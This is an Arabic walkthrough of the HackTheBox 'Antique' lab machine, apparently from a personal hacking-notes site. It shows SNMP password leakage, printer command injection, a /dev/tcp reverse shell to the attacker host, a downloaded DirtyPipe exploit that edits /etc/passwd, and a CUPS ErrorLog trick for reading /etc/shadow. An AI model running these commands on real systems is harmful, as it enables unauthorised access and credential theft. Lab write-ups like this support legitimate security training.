> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md).

# تقرير HackTheBox عن Antique

{% embed url="<https://app.hackthebox.com/machines/400>" %}

{% hint style="warning" %}
المهارات:

* استكشاف SNMP
* استغلال طابعة الشبكة
* استغلال إدارة CUPS (ErrorLog)
* إضافي -> (DirtyPipe) (CVE-2022-0847]
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

سننشئ مساحة العمل الخاصة بنا عبر إنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج الاستطلاع باستخدام Nmap

<figure><img src="/files/036f9d7d1b9588cde70041de48d5a7b2375efb34" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/0a0f288a0525cdb4011bb1843e42d8bdf04fd395" alt="" width="563"><figcaption></figcaption></figure>

### فحص TCP:

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv -min-rate 5000 10.10.11.107 -oG allPorts
```

<figure><img src="/files/d65fe7e3a7cad3e553406d9cf6f2d22894ffd23e" alt="" width="563"><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم دالة extractPorts لعرض المنافذ المفتوحة بصيغة موجزة ونسخها إلى الحافظة (23.7777)

<figure><img src="/files/fc691e598e31de15c2d23cb297bf96475c7cb6f7" alt="" width="563"><figcaption></figcaption></figure>

**فحص إصدارات المنافذ باستخدام Nmap:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p23,7777 10.10.11.107 -oN targeted
```

<figure><img src="/files/ecddef863b040b1f300a734de9acb1105b84fa61" alt=""><figcaption></figcaption></figure>

### فحص UDP:

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

نقوم أيضًا بإجراء فحص على منافذ UDP باستخدام **Nmap**:

```bash
nmap -sU --open -vvv -n 10.10.11.107 -oG allPortsUDP
```

نستخرج النتائج مرة أخرى باستخدام `extractPorts`، ونلاحظ فتح المنفذ **161**، المستخدم بواسطة SNMP.:

<figure><img src="/files/7a9aa9b91464b9d994b06c5febd1f641022615a3" alt=""><figcaption></figcaption></figure>

## استكشاف الخدمات

### المنفذ 23 (Telnet) – HP JetDirect

عند محاولة الاتصال على المنفذ **23** عبر **Telnet**، نواجه خدمة HP JetDirect تطلب منا كلمة مرور. يمكننا محاولة الاتصال باستخدام:

```bash
nc -vn 10.10.11.107 23
```

<figure><img src="/files/e5ae105e1dedf86c130b3e82af19ec8847a1eed0" alt="" width="563"><figcaption></figcaption></figure>

### المنفذ 161 (SNMP)

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp>" %}

نستخدم **snmpbulkwalk** لاستكشاف خدمات SNMP المكشوفة على المنفذ **161**:

```bash
snmpbulkwalk -c public -v2c 10.10.11.107 .
```

<figure><img src="/files/f64313596abd65ee615c73b0c28ee209c67728b6" alt=""><figcaption></figcaption></figure>

```bash
50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135
```

يعطينا هذا سلسلة أحرف سداسية عشرية نحولها إلى ASCII للحصول على المحتوى المقروء:

{% code overflow="wrap" %}

```bash
echo "50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135" | xxd -ps -r
```

{% endcode %}

<div data-full-width="true"><figure><img src="/files/d6d2ca8443afc011935862e9c51a89f9aa2a4672" alt=""><figcaption></figcaption></figure></div>

تحتوي هذه القناة على بعض المعلومات المثيرة للاهتمام، لكنها لا تحتوي على شيء مفيد مباشرةً للاستغلال.

```bash
nc -vn 10.10.11.107 23
P@ssw0rd@123!!123
```

<figure><img src="/files/36213f16d6907a94370e7ef922d0735cc3a35223" alt=""><figcaption></figcaption></figure>

عند محاولة حقن سلسلة ككلمة مرور على المنفذ 23 (JetDirect)، نستخدم محاولات مثل:

```bash
P@ssw0rd@123!!123
```

<figure><img src="/files/76fd9b32160cedeaf666f8ba5068c2190ad59b7c" alt=""><figcaption></figcaption></figure>

## استغلال طابعة الشبكة

لقد اكتشفنا أنه من الممكن تنفيذ أوامر عبر طابعة الشبكة. يعتمد استغلال هذه الثغرة على `exec` الأمر الذي يسمح بحقن أوامر عن بُعد. على سبيل المثال:

```bash
exec id
```

<figure><img src="/files/f52798a2c67022a43b169e8815097e5fa6853e77" alt=""><figcaption></figcaption></figure>

يعرض هذا بيانات اعتماد النظام ويسمح بتنفيذ أوامر أخرى.

**شل عكسي**

ننشئ غلافًا عكسيًا باستخدام **nc** على المنفذ **443** على الجهاز المهاجم:

```bash
nc -nvlp 443
```

```bash
exec bash -c "bash -i >& /dev/tcp/10.10.14.4/443 0>&1" 
```

<figure><img src="/files/b2469a8c9893a2e1fb44cf3885ea636d9d4e9e82" alt=""><figcaption></figcaption></figure>

بعد ذلك، نعدّل جلسة الغلاف للحصول على تحكم أفضل:

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### العلم user.txt :) <a href="#user-flag" id="user-flag"></a>

<figure><img src="/files/84326c4972681b422e70e8c24ebc93f5cb945c5f" alt="" width="561"><figcaption></figcaption></figure>

## تصعيد الامتيازات

## 1. استغلال DirtyPipe

{% embed url="<https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit>" %}

تحققنا مما إذا كانت الآلة معرضة لاستغلال DirtyPipe، وهو خلل يسمح بتعديل ملفات النظام قيد التشغيل. ووجدنا أن الآلة كانت تحتوي على **gcc**، وهو مُجمِّع C، متاحًا في المسار `/usr/bin/gcc`.

```bash
lp@antique:/home/lp$ which gcc
/usr/bin/gcc
```

بعد ذلك، استخدمنا **Python3** لنقل الاستغلال من جهازنا المحلي إلى الجهاز الهدف. على جهازنا المحلي، شغّلنا خادم HTTP لاستضافة الاستغلال:

```bash
python3 -m http.server
```

على الجهاز الضحية، قمنا بتنزيل الاستغلال:

```bash
wget http://10.10.14.4/exploit.c
```

<figure><img src="/files/5302351f7e7d79c3374a2fba8cdb9f7fbee7e363" alt=""><figcaption></figcaption></figure>

بعد استرجاع الاستغلال، قمنا بترجمة ملف C باستخدام **gcc**:

```bash
gcc exploit.c -o exploit
```

{% hint style="info" %}
يقوم الاستغلال بتعديل `/etc/passwd` الملف عبر حقن تجزئة كلمة مرور، ويضيف مستخدمًا `aaron` بكلمة مرور محددة، وكل ذلك لتمكين تصعيد الامتيازات.
{% endhint %}

<figure><img src="/files/232962ac373841868b5a059ee03d58c2b550ebad" alt=""><figcaption></figcaption></figure>

أخيرًا، شغّل البرنامج النصي فقط:

```bash
./exploit
```

يتيح لنا هذا الحصول على `root`/*/* وصول إلى الجهاز

<figure><img src="/files/d160d2b1b34ebba15ff6f580a9448361ce10af91" alt=""><figcaption></figcaption></figure>

## 2. تحويل المنافذ باستخدام Chisel

من خلال فحص المنافذ المفتوحة على الجهاز الهدف، وجدنا المنفذ **631** (المستخدم بواسطة CUPS). باستخدام الأمر التالي، أكدنا وجود خدمة CUPS:

```bash
netstat -nat
```

خدمة CUPS بإصدار **1.6.1** وحددنا أنها قد تكون عرضة للثغرة. ولإعادة توجيه هذا المنفذ، استخدمنا **Chisel**، وهي أداة نفق.

<figure><img src="/files/0b742f11116e2b4f81a38143ba3140187fd96eb4" alt=""><figcaption></figcaption></figure>

أولًا، قمنا بترجمة Chisel على جهازنا المحلي:

{% embed url="<https://github.com/jpillora/chisel>" %}

```bash
go build -ldflags "-s -w" .
upx chisel
```

بعد ذلك، نقلنا الملف التنفيذي لـ Chisel إلى جهاز الضحية عبر خادم HTTP باستخدام Python3:

```bash
python3 -m http.server 8080
wget http://10.10.14.4:8080/chisel
```

<figure><img src="/files/780c540373762b0f42052a1c062a6cd483df7d5c" alt=""><figcaption></figcaption></figure>

على جهازنا، بدأنا خادم Chisel:

```bash
chisel server -p 8888 -reverse
```

ثم، على جهاز الضحية، قمنا بتهيئة عميل Chisel لإعادة توجيه المنفذ 631 إلى جهازنا المحلي:

```bash
./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631
```

<figure><img src="/files/95f00bef8f1492cdf41aaa5e497b9302df42c333" alt="" width="563"><figcaption></figcaption></figure>

يتيح لنا هذا الوصول إلى الواجهة الويب لـ CUPS على الجهاز الهدف عبر نفق آمن.

### استغلال ثغرة CUPS 1.6.1

{% embed url="<https://github.com/rapid7/metasploit-framework/blob/master/modules/post/multi/escalate/cups_root_file_read.rb>" %}

باستخدام **cupsctl**، قمنا بتعديل **CUPS** تهيئة الخدمة لإعادة توجيه **ErrorLog** الملف إلى ملف حساس، مثل **/etc/shadow**، وهذا يسمح بقراءة هذا الملف بصلاحيات الجذر عبر الواجهة الويب لـ CUPS.

الأمر لتعديل الإعدادات:

```bash
cupsctl ErrorLog=/etc/shadow
```

ثم وصلنا إلى الواجهة الويب لـ CUPS عبر زيارة عنوان URL التالي على خادم CUPS من خلال نفقنا:

أصبح من الممكن عرض محتويات **/etc/shadow** الملف والحصول على `root.txt` العلم.

<figure><img src="/files/1b1acee1bde39703353252dc9ff17a9049cc7149" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/750ac8b190a8607a06497aee3beca43ff2ad8247" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/7115b644b6cb2e004a2ef37929de954d0c3f0c97" alt="" width="520"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
